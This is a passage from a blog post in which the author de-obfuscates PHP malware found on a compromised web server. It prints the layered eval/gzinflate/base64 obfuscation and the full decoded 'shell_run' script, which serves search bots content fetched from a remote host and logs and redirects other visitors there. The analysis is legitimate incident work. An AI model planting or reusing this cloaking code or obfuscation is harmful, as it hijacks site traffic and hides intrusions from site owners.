9R6VnFy2zznl6kQEDCnq3gFbO9bV2hyGNUGrcn6jYxsR0lM7DF5rv7KnlkSPXnpCe0To0HyuuXeNohZB9i
iRMqRnLE1AwhLFLh9UhekiGV2xy6a9rJSFT/4ReLsovSERlPTiMxlz7lOR434R5ziXNZ48wjtmULOVS56F
4zx5SGqTttDozcReKsqjxl8vkCtxrCLOf68cz33U6OhzUQKq8YCFniN8bSxjo1lu7D0aZJeNNUlzEUW8TV
jG3wuQbos5j5xaw5EDoUMW3CEcjxjjJ4grXtKL60FuohmFd9aacEb5Gl2ONZk4uLzihnkIR2hrEe9PZ7d1
0HXTrKPDedSUBPOR3l3mSXBKauguQOVpw2IUsGIH5ubXGcwKqVxd9qYM9n5Rp4E6eN9TXTDi8SYn1//+ef
Hvw=='\x29\x29\x29\x3B");

Clearly, applying the same obfuscation technique three times is even better, right? At least this time there are two separate eval() blocks. Let’s unstack the Russian dollars once more:

function doscdx45431($str) {
$a = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
$b = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";
return $b($a($str));
}
$a = "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65";
$b = "\x67\x7a\x64\x65\x66\x6c\x61\x74\x65";

eval(doscdx45431("pVZbb9s2FH434P9AGEZkB77E6WWYPcf1ErUJkMaZLG8DgkCgZdoiIokqSS0Jhry1
w566t2Jb+zBge9vldRiwv5M0+xc7lGxLlt3U6wghJnku5HfOdw7T2fmkEzhBPieItCT1iOVSj8rSVrmVz9
U3N/M5tIke4VA6jKOhiJc2Cy45nTgSbW817qu9ej5nu1gIJBziuhYP/XzuaxDACMKhS21UxLakzEeojQqR
UqEVy+O/49CP5ZZlM19IHtqyVI5lU0dq0HGpaD3RzRPNdoh9pp2idhtN5+VELWWhBrEdhrQtGNXo01oZ+Q
UgLqc2r5JpMiv2AzoiHAAUpUNFdYeKT9miXTHkrgLoSBk06/VCrWj1deNz3TjR9k3z2Nrv9U3tNLVr6J8N
9L5pDYwD7bS18lQaqJilTZ72TN3q7u0ZCyYqNLMbthEEkJQzYSgOmQRXjTRQ4gqyWm3rvfGYAGUw5/gSsk
F8Sbh1ToaCSqLSgrR7tWHonglPBGc1n0htJbxkVq93+8f//Pzy5qe/U2dw8iwkQlpxYMlF4LIRKRU6hco7
gljOhCQCA6BVMDI4p5eWxAum/rVp4rTaXeBqhfqIeZj6llICS3AhZA3KqBOTvM1CaQWh3BA2p4G0fOyRNp
AhBeZkC9xsjIDo1J+030WUwoa8DEgbi2BjxCw6yjppnLaymBjc1ZciYakNir2A+KUs3nK2ClSVzB28jyT/
I3gPGi6OojUHRwOFjAYAOOoNdwQkFOANT8DrstIAVlb3iX5kakuB+Y/BKH4YITgZUU5smcCb7ayR6/VS7B
AMNV4qHDIbK7I1EVhkEKTqVfW21h1VdpXuwnHDV2MTTbvbfH397S83r36/ffP97evXVQhG3Gvm4kecyJD7
s3U909YXvKW4pOozDitEO/otaRPGJi4BgVbRsMPJWMRzT/jxhGJxJqLjtQrShpiOwmQpnp0z7qmZB6HHAe
bSJ1xUY69q/xI7jIGbr4aCqN8hpCV2LJgTVgXB3Ha0hb5OhRV3xTGGWkhJxowTbDulFA4sIlRL3TciLbgA
HkjmsnNI4h38zRISehkYwleKHVWiM7KHLF5WPQIZN1crSRLnbmbZWmBGmhPz173ZnFdSwpDbl39ef/fq5s
1vb3/94e2Pz6+/eXH9x1+KKnOaJ2yBtGAPefSCjKJaW5dHSQEryi/TyXa2AbjSsqhPs6/zvHeoR3qX+cDJ
QkohMoN/hFggS8pTBe0OjMPesXpaDisorjK0jr5CvK9393SjMmP1l9XHPeOLrrGn76lZ8+HD2vb9j2sf3a
ttNxrAvd3DA0h89eA4IymX17rh7LSIoGve0tDNgXFkGt2j/mNl21jbDtTBINUdV7W09S6uSB9xvpLKz5oX
MQ+e6r2BWdl+sGCQfgUjY3JB7Mh06Uq2ywRZEs3qIfMYQkXAN9sF5z45T2oi4lpn518="));

Now we’re starting to get somewhere, maybe. There’s a function definition, for some function named doscdx45431(). Maybe the “dos” is for denial of service? Let’s substitute the characters for the ASCII escape sequences again:

function doscdx45431($str) {
$a = "base64_decode";
$b = "gzinflate";
return $b($a($str));
}
$a = "base64_decode";
$b = "gzinflate";

eval(doscdx45431("pVZbb9s2FH434P9AGEZkB77E6WWYPcf1ErUJkMaZLG8DgkCgZdoiIokqSS0Jhry1
w566t2Jb+zBge9vldRiwv5M0+xc7lGxLlt3U6wghJnku5HfOdw7T2fmkEzhBPieItCT1iOVSj8rSVrmVz9
U3N/M5tIke4VA6jKOhiJc2Cy45nTgSbW817qu9ej5nu1gIJBziuhYP/XzuaxDACMKhS21UxLakzEeojQqR
UqEVy+O/49CP5ZZlM19IHtqyVI5lU0dq0HGpaD3RzRPNdoh9pp2idhtN5+VELWWhBrEdhrQtGNXo01oZ+Q
UgLqc2r5JpMiv2AzoiHAAUpUNFdYeKT9miXTHkrgLoSBk06/VCrWj1deNz3TjR9k3z2Nrv9U3tNLVr6J8N
9L5pDYwD7bS18lQaqJilTZ72TN3q7u0ZCyYqNLMbthEEkJQzYSgOmQRXjTRQ4gqyWm3rvfGYAGUw5/gSsk
F8Sbh1ToaCSqLSgrR7tWHonglPBGc1n0htJbxkVq93+8f//Pzy5qe/U2dw8iwkQlpxYMlF4LIRKRU6hco7
gljOhCQCA6BVMDI4p5eWxAum/rVp4rTaXeBqhfqIeZj6llICS3AhZA3KqBOTvM1CaQWh3BA2p4G0fOyRNp
AhBeZkC9xsjIDo1J+030WUwoa8DEgbi2BjxCw6yjppnLaymBjc1ZciYakNir2A+KUs3nK2ClSVzB28jyT/
I3gPGi6OojUHRwOFjAYAOOoNdwQkFOANT8DrstIAVlb3iX5kakuB+Y/BKH4YITgZUU5smcCb7ayR6/VS7B
AMNV4qHDIbK7I1EVhkEKTqVfW21h1VdpXuwnHDV2MTTbvbfH397S83r36/ffP97evXVQhG3Gvm4kecyJD7
s3U909YXvKW4pOozDitEO/otaRPGJi4BgVbRsMPJWMRzT/jxhGJxJqLjtQrShpiOwmQpnp0z7qmZB6HHAe
bSJ1xUY69q/xI7jIGbr4aCqN8hpCV2LJgTVgXB3Ha0hb5OhRV3xTGGWkhJxowTbDulFA4sIlRL3TciLbgA
HkjmsnNI4h38zRISehkYwleKHVWiM7KHLF5WPQIZN1crSRLnbmbZWmBGmhPz173ZnFdSwpDbl39ef/fq5s
1vb3/94e2Pz6+/eXH9x1+KKnOaJ2yBtGAPefSCjKJaW5dHSQEryi/TyXa2AbjSsqhPs6/zvHeoR3qX+cDJ
QkohMoN/hFggS8pTBe0OjMPesXpaDisorjK0jr5CvK9393SjMmP1l9XHPeOLrrGn76lZ8+HD2vb9j2sf3a
ttNxrAvd3DA0h89eA4IymX17rh7LSIoGve0tDNgXFkGt2j/mNl21jbDtTBINUdV7W09S6uSB9xvpLKz5oX
MQ+e6r2BWdl+sGCQfgUjY3JB7Mh06Uq2ywRZEs3qIfMYQkXAN9sF5z45T2oi4lpn518="));

Sigh… this is just a different way of performing another eval(gzinflate(base64_decode(…))), only this time a helper function is used, and the names of the functions are stored in strings. If we repeat the process one more time, to see what’s hidden in that encoded block of text, we finally hit paydirt:

?><?php
set_time_limit(0);
/**
 * @author bs
 * @copyright 2014
 */
class shell_run
{
    public $action  = "shell";
    
    function __construct()
    {
        if($_GET['check'] == 'check')
        {
            echo '0000-00-00';
            exit();
        }
        
        $Spider = $this->isBot();
        $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        
        $ip  = $_SERVER['REMOTE_ADDR'];
        if($Spider == true){
            $bot = 1;
        }else{
            $bot = 0;
        }
        
        $get_array['center_website'] = '3.bulksmspk.net';
        
        
        //ASP风格
        $request_url = explode("?",$_SERVER['REQUEST_URI']);
        if($bot == 1){

            $center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php?
action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id="
.$request_url[1];
            $contents = $this->curlOpen($center_temp_url);
            echo $contents;
        }else{
            $center_temp_url = 'http://'.$get_array['center_website']."/51la.php?
type=asp&ip=".$ip."&shell=".$_SERVER['HTTP_HOST']."&user_agent=".$_SERVER['HTTP_USER_AGENT'];
            $this->curlOpen($center_temp_url);
            $url = 'http://'.$get_array['center_website']."/domain_redirect.php?
type=redirect&dstring=".$_SERVER['HTTP_HOST']."&do_id=".$request_url[1];
            header("Location: ".$url);
        }
        exit;
        //ASP风格
    }
    
    /**
     * isBot()
     * 判断蜘蛛-getSpider
     * @return
     */
    function isBot()
    {
        $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 
'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
        $is_bot = false;
        foreach($bot_array as $bot){
            $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(strstr($agent,$bot)){
                $is_bot = true;
            }
        }
        return $is_bot;
    }
    /**
     * shell_run::curlOpen()
     * 获取本站的内容-getHTTP_HOST
     * @param mixed $url
     * @return
     */
    function curlOpen($url)
    {
        $ch2 = curl_init();
        $user_agent = "ConBot";
        curl_setopt($ch2, CURLOPT_URL, $url); 
        curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211',
'CLIENT-IP:66.249.73.211'));
        curl_setopt($ch2, CURLOPT_HEADER, false); 
        curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']);
        curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent); 
        curl_setopt($ch2, CURLOPT_TIMEOUT,25); 
        $contents = curl_exec($ch2);
        curl_close($ch2);
        return $contents;
    }
}
$content = new shell_run();
?>

I find it funny that this malware code includes a copyright notice. The script begins by calling set_time_limit(0), an attempt to disable any maximum limit on the execution time of the script. It then defines a class called shell_run. Finally, it constructs a new object of the shell_run class, and assigns it to the variable $content. As far as I can tell, $content is never used, but that probably doesn’t matter.

The real work happens in the constructor for shell_run. It attempts to determine whether whoever requested your.php (remember that’s what we’re looking at) is a web crawling bot used for building search indexes, like the Googlebot. Next it splits the request URI at the ‘?’ character, separating the name of the requested file (your.php in this case) from any other request parameters. If the requestor is a bot, the script then fetches:

http://3.bulksmspk.net/domain_get_url_test.php?
action=out_put&script_name=your.php&dstring=[HTTP_HOST]&type=asp&do_id=[PARAMS]

where HTTP_HOST is the name of the web server, and PARAMS are any parameters that were passed by the original requestor. The result of this fetch is then echoed. Does the echoed text get PHP eval’d by one of the enclosing eval() calls, or does it simply get returned to the requestor as the HTML result? I’ve lost track.

If the requestor is not a bot, then the script fetches:

http://3.bulksmspk.net/51la.php?type=asp&ip=[IP]&shell=[HTTP_HOST]&user_agent=[HTTP_USER_AGENT]

where IP is the web server’s IP address, HTTP_HOST is its name, and HTTP_USER_AGENT is the requestor’s user agent string – something like Safari, Chrome, or Firefox. Interestingly, the script doesn’t do anything with the result of the fetch, so the purpose of this call is probably just to log something on the 3.bulksmspk.net server. The script then constructs a new URL:

http://3.bulksmspk.net/domain_redirect.php?type=redirect&dstring=[HTTP_HOST]&do_id=[PARAMS];

and then calls the PHP header() function, which generates an HTML response for the requestor instructing it to redirect to this new URL.

 
Huh?

So at the end of the day, what does all of this stuff do, exactly? I honestly don’t know. The file your.php isn’t likely to be linked by the site’s normal content, so it’s not clear how a web crawling robot would ever encounter it. Nor would a casual visitor to the site ever end up requesting your.php either. The only person likely to ever request this file is the hacker himself. It will log some information about the infected web server to 3.bulksmspk.net, and then redirect the requestor to another page on that site. As far as I can tell, it doesn’t actually do anything bad to the requestor or to the infected web server. Despite the name “shell_run”, it certainly doesn’t look like it’s running anything in a command shell. Maybe logging some information is all that your.php is designed to do, and I’ll have to dig into the other PHP scripts to learn what else this hack involves.

Read 2 comments and join the conversation 

Older Posts »